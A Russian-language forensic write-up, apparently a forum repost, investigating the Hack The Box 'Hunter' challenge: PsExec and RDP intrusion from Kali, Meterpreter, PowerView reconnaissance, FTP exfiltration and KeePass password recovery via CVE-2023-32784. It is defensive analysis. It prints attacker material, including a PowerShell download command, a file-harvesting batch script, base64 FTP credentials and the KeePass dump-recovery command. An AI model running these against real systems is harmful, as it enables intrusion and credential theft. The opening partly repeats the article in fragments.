stihl has not provided any additional information.
Сегодня в рамках расследования инцидента мы с тобой проэксплуатируем уязвимость в KeePass, найденную в 2023 году, а затем посмотрим, как использовать инструмент ZUI для анализа артефактов.
Нам предстоит пройти задание Hunter c ресурса Hack The Box Sherlocks. Его уровень сложности — «безумный». Мы не будем давать готовых ответов на вопросы в задании. Вместо этого сосредоточимся на процессе расследования, чтобы ты мог при желании повторить его сам и подсмотреть в эту статью, если вдруг зайдешь в тупик.
В описании к инциденту сказано:
В процессе анализа заполним карточку инцидента и составим Incident Response Plan (IRP) в Link hidden, please Sign inor Sing up.
or Sing up:
Утилита проанализирует события журналов Windows и предложит несколько вариантов, с частотой их упоминания:
Больше информации мы получим из реестра, для этого воспользуемся утилитой Link hidden, please Sign inor Sing up и плагинами.
Команда:
Вывод:
Команда:
Вывод:
Команда:
Вывод:
Команда:
IPAddress 172.17.79.131
Результаты:
Link hidden, please Sign inor Sing up
Для анализа PCAP-файла я использовал Link hidden, please Sign inor Sing up и Link hidden, please Sign in or Sing up.
Алерты Suricata
В глаза бросается использование Kali Linux, о чем говорит вот эта сигнатура:
ET POLICY Possible Kali Linux hostname in DHCP Request Packet
Найдем информацию об использовании DCHP:
В 11:31:18 21 июня 2023 года хосту kali назначен IP 172.17.79.133. Добавим это в таймлайн IRIS.
Использование DHCP
Также мы видим, что в широковещательном домене есть следующие хосты:
Статистика по тегам
Увидим сетевые взаимодействия с FTP-сервером 13.235.18.128.
Давай подробнее посмотрим в Wireshark:
Обнаружим авторизацию на FTP-сервере.
Авторизация по протоколу FTP
Посмотрим, какие файлы эксфильтровал злоумышленник, и сохраним их.
Эксфильтрованные файлы
Время сетевого взаимодействия: 12:20:16.012196 — 12:23:04.994762. Набор файлов keepassproc.zip и Database.kdbx указывает на то, что хакер мог извлечь пароли из базы данных, используя уязвимость CVE-2023-32784.
События с тегом conn
Мы видим сессии от kali (172.17.79.133) к Forela-Wkstn002.forela.local (172.17.79.131) по 445-му порту (SMB). Эта сессия не была отнесена анализатором к SMB (вспоминаем, что захвачен был не весь сетевой трафик). Перейдем в Wireshark.
SMB-сессии
Сессия связана с Kali, можем предположить, что используется утилита impacket-psexec.
Время сетевого взаимодействия: 11:25:09.263058 — 11:33:35.584495.
RDP-сессии
Посмотрим в Wireshark:
RDP-сессии
Время сетевого взаимодействия: 12:18:35.508604 — 12:23:34.962134
Добавим информацию об IoC.
Информация об IoC
И о событиях.
Таймлайн инцидента
В результате анализа трафика мы узнали, что злоумышленнику удалось скомпрометировать учетные данные для хоста Forela-Wkstn002.forela.local, эксфильтровать дамп процесса и базу данных KeePass, а также архив с проектом.
or Sing up.
Посмотрим сводку по авторизациям:
Сводка по авторизациям
Можем подтвердить, что с хоста 172.17.79.133 (Kali) было подключение по RDP.
Запустим анализ событий правилами Sigma и hayabusa-rules:
Сводка по правилам
Сразу в глаза бросаются алерты:
Давай поищем авторизации с Kali:
Авторизации с Kali.
Наши предположения об авторизациях подтвердились.
Обнаружение PsExec
К индикаторам можем отнести название исполняемого файла и имя службы:
or Sing up (Хабрахабр)
К сожалению, событий создания или завершения процесса в нашем интервале нет.
Отсутствие событий создания или завершения процессов
Давай отсортируем по типам правил:
И точечно посмотрим на некоторые.
Событие с EventId=1116 из журнала Microsoft-Windows-Windows Defender/Operational:
Threat: Trojan:Win64/Meterpreter.E ¦ Severity: Severe ¦ Type: Trojan ¦ User: NT AUTHORITY\SYSTEM ¦ Path: file:_C:\Users\alonzo.spire\notepad.exe; shellopencmd:_HKLM\SOFTWARE\CLASSES\txtfile\shell\open\command\\ ¦ Proc: Unknown
Оно сигнализирует нам о том, что файл C:\Users\alonzo.spire\notepad.exe определен как Trojan:Win64/Meterpreter.E. и пытался Link hidden, please Sign inor Sing up или закрепился, используя следующую ветку реестра:
Время обнаружения: 2023-06-21 12:33:55.002.
В результате получим много событий EventId=4104 и одно событие EventId=400.
Событие ниже свидетельствует о загрузке злоумышленником утилиты PowerView, предназначенной для постэксплуатации в средах Active Directory. Утилита сохранена с именем clean.ps1.
Время регистрации события — 2023-06-21 11:30:40.755.
События 4104 регистрируют куски кода PowerView, которые используют Link hidden, please Sign in or Sing up.
Авторизации RDP
Можем предположить, что RDP-сессия длилась с 2023-06-21 11:44:51.426 по 2023-06-21 12:53:45.809.
or Sing up, так как в нашем инциденте много сетевых взаимодействий.
Получим информацию из SRUM в виде JSON с помощью тулзы Link hidden, please Sign inor Sing up.
В результате имеем вывод, как на скриншоте ниже.
Вывод работы chainsaw
Загрузим полученный файл в ZUI и начнем анализ с таблицы Windows Network Data Usage Monitor.
Link hidden, please Sign inor Sing up
2023-06-21T12:53:00Z
\device\harddiskvolume3\windows\system32\certutil.exe
Link hidden, please Sign inor Sing up
2023-06-21T12:17:00Z
\device\harddiskvolume3\windows\system32\windowspowershell\v1.0\powershell.exe
Link hidden, please Sign inor Sing up
2023-06-21T12:17:00Z
\device\harddiskvolume3\windows\system32\certutil.exe
Link hidden, please Sign inor Sing up
2023-06-21T12:17:00Z
\device\harddiskvolume3\program files\process hacker 2\processhacker.exe
Process Hacker, сетевое взаимодействие SRUM
Можем предположить, что данные украли с использованием FileZilla, а дамп процесса KeePass сделали через Process Hacker. Новым обстоятельством для нас становится использование тулзы certutil, которая позволяет загружать файлы.
Давай посмотрим информацию в таблице App Timeline Provider. После выполнения PsExec злоумышленник получает доступ в контексте учетной записи NT AUTHORITY\System. Следующий запрос поможет нам понять, какие процессы запускал хакер.
Процессы пользователя SYSTEM
Можем предположить, что были выполнены команды net1.exe, net.exe и PowerShell. Запуск PowerShell совпадает со временем регистрации загрузки PowerView.
Какие процессы были связаны с пользователем alonzo.spire?
Link hidden, please Sign inor Sing upLink hidden, please Sign in or Sing upLink hidden, please Sign in or Sing up
Процессы из SRUM для пользователя alonzo.spire
Из SRUM мы узнали, что пользователь alonzo.spire создавал такие процессы:
Файлы Prefetch расположены в C:\Windows\prefetch\. Парсим их Link hidden, please Sign inor Sing up и закидываем в ZUI. Начнем анализ с данных, которые у нас уже есть.
Команды PsExec
На скриншоте выше представлены процессы, предположительно связанные с сессией PsExec: owujomcy.exe, cmd.exe, whoami.exe, certutil.exe, powershell.exe, net.exe, net1.exe. Похоже на стандартный набор команд, выполняемых при компрометации машины.
Опытный читатель знает, что в Prefetch хранится информация о взаимодействии процесса с другими файлами в первые десять секунд его работы. Как мы видим из скриншота выше, времени между командами прошло гораздо больше.
В файлах и директориях, связанных с процессом certutil.exe, аномалий не нашлось, поэтому можем убрать его из цепочки процессов выше.
Время запуска процессов:
Процессы из RDP-сессии
Сравниваем с результатами, полученными из SRUM. Ничего нового не появилось, но давай глянем еще данные о прошлых запусках и о связанных файлах.
Время запусков POWERSHELL.EXE:
Процесс RAR.EXE предоставил достаточно новой информации: RAR.EXE — 2023-06-21T12:13:15.784399.
Файлы, связанные с процессом RAR.EXE
Файлы, связанные с процессом RAR.EXE
На скриншотах выше мы видим, что хакер создал директорию Exfil и копировал туда файлы.
Процесс WINRAR.EXE:
Файлы, связанные с процессом WINRAR.EXE
Процесс CERTUTIL.EXE:
Файлы, связанные с процессом CERTUTIL.EXE
Из общей картины в глаза бросаются файлы вот в этом пользовательском каталоге:
\VOLUME{01d951602330db46-52233816}\USERS\ALONZO.SPIRE\
Вот их полный список:
Поиск строки user-agent с упоминанием certutil в трафике не дал результатов, скорее всего, из‑за того, что дамп неполный.
Нам предстоит узнать содержимое файла scout.bat и notepad.exe.
or Sing up в проводнике Windows (explorer.exe).
Данные из Shimcache
Ничего нового мы не обнаружили, за исключением времени последнего изменения файла: C:\Users\alonzo.spire\notepad.exe запускался в 2023-06-21T12:29:49.597Z.
Перейдем к Link hidden, please Sign inor Sing up. Для его анализа воспользуемся утилитой RegRipper.
В Amcache удалось найти хеш SHA-1 файла службы PsExec:
VirusTotal PsExec
or Sing up и загрузим данные в ZUI.
Найдем, где были сохранены файлы clean.ps1 и Scout.bat.
Link hidden, please Sign inor Sing up
Расположение Scout.bat
Посмотрим, есть ли информация о файлах, которые хакер эксфильтровал:
Информация об эксфильтрованных файлах
Время создания дампа процесса KeePass
Из скриншота выше мы узнаём, что дамп процесса KeePass был сделан в 2023-06-21T12:06:42.281943Z.
or Sing up. Для его анализа воспользуемся утилитой Link hidden, please Sign in or Sing up.
В результате мы получили три файла:
Посмотрим, какие расширения файлов есть в базе:
Расширения файлов в Windows Search Database
Наибольший интерес для нас представляет информация о .bat:
Информация о файле Scout.bat
В последнем столбце — часть содержимого batch-файла. Скрипт ниже представлен не полностью, поскольку остальные строки в нем закомментированы.
Вот что делает скрипт:
Изучив этот файл, можем предположить, что хакер пытался подключиться к нескольким FTP-серверам. Добавим их в IoC.
or Sing up (Link hidden, please Sign in or Sing up) находится в этой директории:
Содержимое Scout.bat:
C:\Users\alonzo.spire\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A3CEB2B928510B461A9B19D9B4B8D5B6
URL для загрузки Scout.bat:
Найти этот URL можно здесь:
URL для загрузки notepad.exe:
Находится в этом файле:
Его содержимое представлено ниже. Выполняются команды из PowerView.
or Sing up с GitHub. Дамп хранится в архиве с паролем, и могу сказать, что наш хакер не очень любит использовать разные пароли.
Для использования скрипта введем команду
В результате получим восстановленный пароль от KDBX, в котором хранятся учетные данные администратора домена Active Directory.
Мы воссоздали таймлайн инцидента в IRP. Ниже — получившаяся полная картина.
Таймлайн инцидента
В заключение хочу посоветовать аналитикам внимательно подходить к изучению артефактов и собирать инструментарий на все случаи жизни.
Нам предстоит пройти задание Hunter c ресурса Hack The Box Sherlocks. Его уровень сложности — «безумный». Мы не будем давать готовых ответов на вопросы в задании. Вместо этого сосредоточимся на процессе расследования, чтобы ты мог при желании повторить его сам и подсмотреть в эту статью, если вдруг зайдешь в тупик.
В описании к инциденту сказано:
Для анализа даны:Аналитик SOC получил предупреждение о возможных атаках lateral movement и credential stuffing. После анализа алерт был подтвержден. У сетевого сенсора были проблемы с производительностью, поэтому захвачен не весь трафик.
В процессе анализа заполним карточку инцидента и составим Incident Response Plan (IRP) в Link hidden, please Sign in
Собираем информацию о системе
Для получения информации об имени анализируемого хоста воспользуемся утилитой Link hidden, please Sign in./hayabusa computer-metrics --rules-config ../config/ -d ~/C/Утилита проанализирует события журналов Windows и предложит несколько вариантов, с частотой их упоминания:
- Forela-Wkstn002.forela.local — 97 385 упоминаний;
- DESKTOP-H72HB4B — 6861 упоминание;
- Forela-Wkstn002 — 6087 упоминаний;
- FORELA-WKSTN002 — 4 упоминания.
Больше информации мы получим из реестра, для этого воспользуемся утилитой Link hidden, please Sign in
winver
Ветка реестра:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Команда:
regripper -p winver -r CONFIGВывод:
Code:
ProductName Windows 10 Pro N
ReleaseID 2009
BuildLab 19041.vb_release.191206-1406
BuildLabEx 19041.1.amd64fre.vb_release.191206-1406
CompositionEditionID EnterpriseN
RegisteredOrganization
RegisteredOwner CyberJungle
InstallDate 2023-03-07 13:14:17Z
InstallTime 2023-03-07 13:14:17Z
networklist
Ветка реестра:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles\ProfileName\Команда:
regripper -p networklist -r CONFIGВывод:
Code:
Network 2
Key LastWrite : 2023-06-21 11:17:27Z
DateLastConnected: 2023-06-21 16:17:27
DateCreated : 2023-04-12 21:20:50
DefaultGatewayMac: 00-50-56-EE-C1-2F
Type : wired
forela.local
Key LastWrite : 2023-06-21 11:47:27Z
DateLastConnected: 2023-06-21 16:47:27
DateCreated : 2023-03-08 03:25:47
DefaultGatewayMac: 00-50-56-EB-C1-1A
Type : wired
Network
Key LastWrite : 2023-04-12 09:16:14Z
DateLastConnected: 2023-04-12 14:16:14
DateCreated : 2023-03-07 17:51:47
DefaultGatewayMac: 00-50-56-EB-C1-1A
Type : wired
Domain/IP forela.local
compname
Ветка реестра:HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\Команда:
regripper -p compname -r SYSTEMВывод:
Code:
ComputerName = forela-wkstn002
TCP/IP Hostname = Forela-Wkstn002
ips
Ветка реестра:HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\InterfacesКоманда:
IPAddress 172.17.79.131
Результаты:
- домен — forela.local;
- хост — forela-wkstn002;
- IP — 172.17.79.131.
Link hidden, please Sign in
Анализируем файл PCAP
Анализ артефактов хоста, безусловно, дает огромное количество информации о произошедших событиях, но я начал с просмотра трафика, чтобы понять, какие взаимодействия были с анализируемой машиной.Для анализа PCAP-файла я использовал Link hidden, please Sign in
info
В глаза бросается использование Kali Linux, о чем говорит вот эта сигнатура:
ET POLICY Possible Kali Linux hostname in DHCP Request Packet
Найдем информацию об использовании DCHP:
_path=="dhcp" | select ts, client_addr, server_addr, mac, host_name, client_fqdn, domain, assigned_addrВ 11:31:18 21 июня 2023 года хосту kali назначен IP 172.17.79.133. Добавим это в таймлайн IRIS.
Также мы видим, что в широковещательном домене есть следующие хосты:
- 172.17.79.131 — Forela-Wkstn002.forela.local (анализируемый нами хост);
- 172.17.79.132 — DESKTOP-887GK2L.
FTP
Посмотрим тег ftp:fuse | 172.17.79.131 | _path=="ftp" | sort -r tsУвидим сетевые взаимодействия с FTP-сервером 13.235.18.128.
Давай подробнее посмотрим в Wireshark:
ftp || ftp-dataОбнаружим авторизацию на FTP-сервере.
Посмотрим, какие файлы эксфильтровал злоумышленник, и сохраним их.
Время сетевого взаимодействия: 12:20:16.012196 — 12:23:04.994762. Набор файлов keepassproc.zip и Database.kdbx указывает на то, что хакер мог извлечь пароли из базы данных, используя уязвимость CVE-2023-32784.
SMB
Посмотрим сетевые соединения, тег conn:fuse | 172.17.79.131 | _path=="conn"
Мы видим сессии от kali (172.17.79.133) к Forela-Wkstn002.forela.local (172.17.79.131) по 445-му порту (SMB). Эта сессия не была отнесена анализатором к SMB (вспоминаем, что захвачен был не весь сетевой трафик). Перейдем в Wireshark.
Сессия связана с Kali, можем предположить, что используется утилита impacket-psexec.
Время сетевого взаимодействия: 11:25:09.263058 — 11:33:35.584495.
RDP
Продолжим анализ сетевых сессий и проверим наличие RDP:fuse | 172.17.79.131 | _path=="conn" | cut ts,id | 3389
Посмотрим в Wireshark:
tcp.port==3389
Время сетевого взаимодействия: 12:18:35.508604 — 12:23:34.962134
Добавим информацию об IoC.
И о событиях.
В результате анализа трафика мы узнали, что злоумышленнику удалось скомпрометировать учетные данные для хоста Forela-Wkstn002.forela.local, эксфильтровать дамп процесса и базу данных KeePass, а также архив с проектом.
Анализируем журналы событий Windows
Начнем анализ артефактов Windows, для чего снова пустим в ход Link hidden, please Sign inПосмотрим сводку по авторизациям:
./hayabusa logon-summary -d ~/Hunter_Acquisition/Acquisition/2023-06-22T092426_Acquisition/C/
Можем подтвердить, что с хоста 172.17.79.133 (Kali) было подключение по RDP.
Запустим анализ событий правилами Sigma и hayabusa-rules:
./hayabusa csv-timeline -d ~/C/ --output ~/hayabusa_last.csv --UTC
Сразу в глаза бросаются алерты:
- Defender Alert;
- PowerView PowerShell Cmdlets — ScriptBlock.
Давай поищем авторизации с Kali:
EventID==4624. | 172.17.79.133
Наши предположения об авторизациях подтвердились.
PsExec
Отфильтруем события по Logon ID 0x26fbee и увидим последовательность событий, похожую на работу PsExec. Далее поищем события, связанные с созданием служб в нужный нам интервал времени: EventID==7045. | "2023-06-21".
К индикаторам можем отнести название исполняемого файла и имя службы:
- служба: tFdj;
- путь к исполняемому файлу: %systemroot%\\owUjOMCY.exe;
- время: 2023-06-21T11:19:34.
www
Link hidden, please Sign inК сожалению, событий создания или завершения процесса в нашем интервале нет.
Давай отсортируем по типам правил:
"06-21" | count() by RuleTitle | sort -r countИ точечно посмотрим на некоторые.
Meterpreter
"06-21" | RuleTitle=="Antivirus Hacktool Detection"Событие с EventId=1116 из журнала Microsoft-Windows-Windows Defender/Operational:
Threat: Trojan:Win64/Meterpreter.E ¦ Severity: Severe ¦ Type: Trojan ¦ User: NT AUTHORITY\SYSTEM ¦ Path: file:_C:\Users\alonzo.spire\notepad.exe; shellopencmd:_HKLM\SOFTWARE\CLASSES\txtfile\shell\open\command\\ ¦ Proc: Unknown
Оно сигнализирует нам о том, что файл C:\Users\alonzo.spire\notepad.exe определен как Trojan:Win64/Meterpreter.E. и пытался Link hidden, please Sign in
HKLM\SOFTWARE\CLASSES\txtfile\shell\open\command\\Время обнаружения: 2023-06-21 12:33:55.002.
Загружаем PowerView
Посмотрим события, связанные с работой PowerShell."06-21" | PwSh | Details!="HostApplication: n/a"В результате получим много событий EventId=4104 и одно событие EventId=400.
Событие ниже свидетельствует о загрузке злоумышленником утилиты PowerView, предназначенной для постэксплуатации в средах Active Directory. Утилита сохранена с именем clean.ps1.
Время регистрации события — 2023-06-21 11:30:40.755.
Code:
Data: Available ¦ Data: NewEngineState=Available PreviousEngineState=None SequenceNumber=13 HostName=ConsoleHost HostVersion=5.1.19041.2673 HostId=b9505ee1-faf5-41b3-af08-7dddad696ee3 HostApplication=powershell -c (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'clean.ps1') EngineVersion=5.1.19041.2673 RunspaceId=248a767b-db92-435f-bda4-5e42213ebf64 PipelineId= CommandName= CommandType= ScriptName= CommandPath= CommandLine= ¦ Data: None
RDP
Давай уточним время работы хакера по RDP. Для этого еще раз обратимся к событиям авторизации и к журналам:- Terminal-Services-RemoteConnectionManager/Operational;
- TerminalServices-LocalSessionManager/Operational.
Можем предположить, что RDP-сессия длилась с 2023-06-21 11:44:51.426 по 2023-06-21 12:53:45.809.
www
- Link hidden, please Sign in
or Sing up (WinITPro) - Link hidden, please Sign in
or Sing up (PDF, Google Drive) - Link hidden, please Sign in
or Sing up (Cyb3rSn0rlax)
Артефакты выполнения процессов
SRUM
Начнем со Link hidden, please Sign inПолучим информацию из SRUM в виде JSON с помощью тулзы Link hidden, please Sign in
./chainsaw analyse srum -s ./2023-06-22T092426_Acquisition/C/Windows/System32/config/SOFTWARE ./2023-06-22T092426_Acquisition/C/Windows/System32/SRU/SRUDB.dat -o ./srum_chainsaw.jsonВ результате имеем вывод, как на скриншоте ниже.
Загрузим полученный файл в ZUI и начнем анализ с таблицы Windows Network Data Usage Monitor.
Code:
over this | TableName=="Windows Network Data Usage Monitor" | fuse | cut TimeStamp, UserName, AppName, AppId, BytesRecvd, BytesSent | sort -r TimeStamp
2023-06-21T12:53:00Z
\device\harddiskvolume3\program files\filezilla ftp client\filezilla.exe
Link hidden, please Sign in
2023-06-21T12:53:00Z
\device\harddiskvolume3\windows\system32\certutil.exe
Link hidden, please Sign in
2023-06-21T12:17:00Z
\device\harddiskvolume3\windows\system32\windowspowershell\v1.0\powershell.exe
Link hidden, please Sign in
2023-06-21T12:17:00Z
\device\harddiskvolume3\windows\system32\certutil.exe
Link hidden, please Sign in
2023-06-21T12:17:00Z
\device\harddiskvolume3\program files\process hacker 2\processhacker.exe
Можем предположить, что данные украли с использованием FileZilla, а дамп процесса KeePass сделали через Process Hacker. Новым обстоятельством для нас становится использование тулзы certutil, которая позволяет загружать файлы.
Давай посмотрим информацию в таблице App Timeline Provider. После выполнения PsExec злоумышленник получает доступ в контексте учетной записи NT AUTHORITY\System. Следующий запрос поможет нам понять, какие процессы запускал хакер.
over this | "06-21" | TableName=="Application Resource Usage Provider" or TableName=="App Timeline Provider" | fuse | cut TimeStamp,EndTime, DurationMS, UserName, AppName, TableName | sort -r EndTime | UserName=="systemprofile"
Можем предположить, что были выполнены команды net1.exe, net.exe и PowerShell. Запуск PowerShell совпадает со временем регистрации загрузки PowerView.
Какие процессы были связаны с пользователем alonzo.spire?
over this | "06-21" | TableName=="Application Resource Usage Provider" or TableName=="App Timeline Provider" | fuse | cut TimeStamp,EndTime, DurationMS, UserName, AppName, TableName | sort -r EndTime | UserName=="alonzo.spire"Link hidden, please Sign in
Из SRUM мы узнали, что пользователь alonzo.spire создавал такие процессы:
- keepass;
- filezilla;
- powershell;
- powershell_ise;
- WinRAR;
- RAR;
- ProcessHacker.
Prefetch
Давай заглянем в Prefetch-файлы, они содержат время последних восьми запусков процесса и информацию о файлах, с которыми процесс взаимодействовал.Файлы Prefetch расположены в C:\Windows\prefetch\. Парсим их Link hidden, please Sign in
Сессия PsExec
Служба PsExec — owujomcy.exe (over this | sort -r last_exec_time).
На скриншоте выше представлены процессы, предположительно связанные с сессией PsExec: owujomcy.exe, cmd.exe, whoami.exe, certutil.exe, powershell.exe, net.exe, net1.exe. Похоже на стандартный набор команд, выполняемых при компрометации машины.
Опытный читатель знает, что в Prefetch хранится информация о взаимодействии процесса с другими файлами в первые десять секунд его работы. Как мы видим из скриншота выше, времени между командами прошло гораздо больше.
В файлах и директориях, связанных с процессом certutil.exe, аномалий не нашлось, поэтому можем убрать его из цепочки процессов выше.
Время запуска процессов:
- WHOAMI.EXE — 2023-06-21T11:19:59.915253;
- POWERSHELL.EXE — 2023-06-21T11:30:39.567358 (совпадает со временем загрузки PowerView, но в связях отсутствует файл clean.ps1);
- NET1.EXE — 2023-06-21T11:33:20.404245;
- NET.EXE — 2023-06-21T11:33:20.326231.
RDP-сессия
Давай посмотрим процессы, которые предположительно относятся к RDP-сессии.
Сравниваем с результатами, полученными из SRUM. Ничего нового не появилось, но давай глянем еще данные о прошлых запусках и о связанных файлах.
Время запусков POWERSHELL.EXE:
- 2023-06-21T11:51:01.844703;
- 2023-06-21T11:20:59.195584;
- 2023-06-21T11:20:28.235246;
- 2023-06-21T11:20:21.166621;
- 2023-06-21T11:19:56.205089;
- 2023-06-21T11:19:49.169370;
- 2023-06-21T11:19:30.172513;
- 2023-06-21T11:19:11.784861.
- 2023-06-21T11:59:54.640629;
- 2023-06-21T11:59:46.703003.
Процесс RAR.EXE предоставил достаточно новой информации: RAR.EXE — 2023-06-21T12:13:15.784399.
На скриншотах выше мы видим, что хакер создал директорию Exfil и копировал туда файлы.
Процесс WINRAR.EXE:
- 2023-06-21T12:18:04.408710;
- 2023-06-21T12:07:55.183899.
Процесс CERTUTIL.EXE:
- 2023-06-21T12:29:49.237697;
- 2023-06-21T12:29:42.612611;
- 2023-06-21T12:12:35.575593.
Из общей картины в глаза бросаются файлы вот в этом пользовательском каталоге:
\VOLUME{01d951602330db46-52233816}\USERS\ALONZO.SPIRE\
Вот их полный список:
Code:
APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\METADATA\3DC3856568F41DEBDC478970629B1FC6
APPDATA\LOCAL\MICROSOFT\WINDOWS\INETCACHE\IE\4TSWMJTT\NOTEPAD[1].EXE
NOTEPAD.EXE
APPDATA\LOCAL\MICROSOFT\WINDOWS\INETCACHE\IE\TFR2JWYD\NOTEPAD[1].EXE
APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\METADATA\A3CEB2B928510B461A9B19D9B4B8D5B6
APPDATA\LOCALLOW\MICROSOFT\CRYPTNETURLCACHE\CONTENT\A3CEB2B928510B461A9B19D9B4B8D5B6
APPDATA\LOCAL\MICROSOFT\WINDOWS\INETCACHE\IE\OOI66Y9I\SCOUT[1].BAT
PICTURES\SCOUT.BAT
Поиск строки user-agent с упоминанием certutil в трафике не дал результатов, скорее всего, из‑за того, что дамп неполный.
Нам предстоит узнать содержимое файла scout.bat и notepad.exe.
Shimcache и Amcache
Продолжим анализ артефактов, указывающих на запуск или наличие файлов процессов Shimcache и Amcache. Для их анализа будем использовать chainsaw и ZUI.info
При анализе Shimcache стоит помнить, что в нем могут храниться файлы, которые не Link hidden, please Sign in
Ничего нового мы не обнаружили, за исключением времени последнего изменения файла: C:\Users\alonzo.spire\notepad.exe запускался в 2023-06-21T12:29:49.597Z.
Перейдем к Link hidden, please Sign in
regripper -r /data/Amcache.hve -p amcacheВ Amcache удалось найти хеш SHA-1 файла службы PsExec:
Code:
2023-06-21T11:33:14.594430700Z
c:\windows\owujomcy.exe 23873bf2670cf64c2440058130548d4e4da412dd
Артефакты файловой и операционной системы
$MFT
Спарсим C:\$MFT утилитой Link hidden, please Sign inНайдем, где были сохранены файлы clean.ps1 и Scout.bat.
Link hidden, please Sign in
Посмотрим, есть ли информация о файлах, которые хакер эксфильтровал:
fuse | keepassproc.zip or Database.kdbx or redacted
Информация об эксфильтрованных файлах
Из скриншота выше мы узнаём, что дамп процесса KeePass был сделан в 2023-06-21T12:06:42.281943Z.
Windows Search Database
В качестве последнего артефакта ОС рассмотрим Link hidden, please Sign in./sidr ~./2023-06-22T092426_Acquisition/C/ -f json -o ~/sidr/В результате мы получили три файла:
- File_Report_20240503_120219.452284.json;
- Internet_History_Report_20240503_120219.452528.json;
- Activity_History_Report_20240503_120219.452589.json.
Посмотрим, какие расширения файлов есть в базе:
fuse | "06-21" | count() by System_ItemType | sort -r count
Наибольший интерес для нас представляет информация о .bat:
fuse | "06-21" | System_ItemType==".bat
В последнем столбце — часть содержимого batch-файла. Скрипт ниже представлен не полностью, поскольку остальные строки в нем закомментированы.
Code:
set "source=%userprofile%"
set "destination=%temp%\Exfil"
if not exist "%destination%" mkdir "%destination%"
for /r "%source%" %%a in (*.docx *.docm *.pdf *.xls *.txt *.ppt *.xlsx *.pptx) do (
copy "%%a" "%destination%"
)
cd %TEMP%\Exfil
"C:\Program Files\WinRAR\Rar.exe" a Exfil
Вот что делает скрипт:
- устанавливаются переменные source и destination;
- если директория %temp%\Exfil отсутствует, она создается;
- копируются файлы, подходящие под маску;
- создается архив %TEMP%\Exfil\Exfil.rar.
Артефакты используемых приложений и утилит
FileZilla
В директории можем посмотреть конфиг FileZilla.
Code:
C:\Users\alonzo.spire\AppData\Roaming\FileZilla\recentservers.xml
<?xml version="1.0" encoding="UTF-8"?>
<FileZilla3 version="3.63.2.1" platform="windows">
<RecentServers>
<Server>
<Host>13.235.18.128</Host>
<Port>21</Port>
<Protocol>0</Protocol>
<Type>0</Type>
<User>theyoungwolf</User>
<Pass encoding="base64">VGhlTG9uZ05pZ2h0SXNDb21pbmc=</Pass>
<Logontype>1</Logontype>
<PasvMode>MODE_DEFAULT</PasvMode>
<EncodingType>Auto</EncodingType>
<BypassProxy>0</BypassProxy>
</Server>
<Server>
<Host>ypmlads.ftp.fileserver</Host>
<Port>4825</Port>
<Protocol>0</Protocol>
<Type>0</Type>
<User>cyberjunkie</User>
<Pass encoding="base64">VWlvbnNrSEdUTERT</Pass>
<Logontype>1</Logontype>
<PasvMode>MODE_DEFAULT</PasvMode>
<EncodingType>Auto</EncodingType>
<BypassProxy>0</BypassProxy>
</Server>
<Server>
<Host>13.45.67.23</Host>
<Port>21</Port>
<Protocol>0</Protocol>
<Type>0</Type>
<User>alonzo.spire</User>
<Pass encoding="base64">VGhlQXdlc29tZUdyYXBl</Pass>
<Logontype>1</Logontype>
<PasvMode>MODE_DEFAULT</PasvMode>
<EncodingType>Auto</EncodingType>
<BypassProxy>0</BypassProxy>
</Server>
</RecentServers>
</FileZilla3>
Изучив этот файл, можем предположить, что хакер пытался подключиться к нескольким FTP-серверам. Добавим их в IoC.
Certutil
Кеш утилиты Link hidden, please Sign inC:\Users\alonzo.spire\AppData\LocalLow\Microsoft\CryptnetUrlCacheСодержимое Scout.bat:
C:\Users\alonzo.spire\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A3CEB2B928510B461A9B19D9B4B8D5B6
URL для загрузки Scout.bat:
hxxp://oakfurnitures.uk/ovxlabd/campaign/uk_orgs/Scout.batНайти этот URL можно здесь:
C:\Users\alonzo.spire\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A3CEB2B928510B461A9B19D9B4B8D5B6URL для загрузки notepad.exe:
hxxp://oakfurnitures.uk/ovxlabd/campaign/uk_orgs/notepad.exeНаходится в этом файле:
C:\Users\alonzo.spire\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\cat 3DC3856568F41DEBDC478970629B1FC6История PowerShell
Историю команд, выполняемых в консоли PowerShell, можем найти в следующем файле:C:\Users\alonzo.spire\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtЕго содержимое представлено ниже. Выполняются команды из PowerView.
Code:
powershell -ep bypass
. .\clean.ps1
Get-NetDomainController
Get-NetDomainUsers
Get-NetUsers
Get-NetUser
KeePass CVE-2023-32784
Настало время разобраться с дампом процесса KeePass и с украденной базой паролей. Для эксплуатации уязвимости я воспользовался Link hidden, please Sign inДля использования скрипта введем команду
python3 keepass_dump.py -f ~/Downloads/Hunter_Acquisition/keepassproc.dmp --recoverВ результате получим восстановленный пароль от KDBX, в котором хранятся учетные данные администратора домена Active Directory.
Выводы
В процессе расследования мы вспомнили, где искать некоторые артефакты Windows, файловой системы NTFS и утилит, которыми могут пользоваться хакеры.Мы воссоздали таймлайн инцидента в IRP. Ниже — получившаяся полная картина.
В заключение хочу посоветовать аналитикам внимательно подходить к изучению артефактов и собирать инструментарий на все случаи жизни.
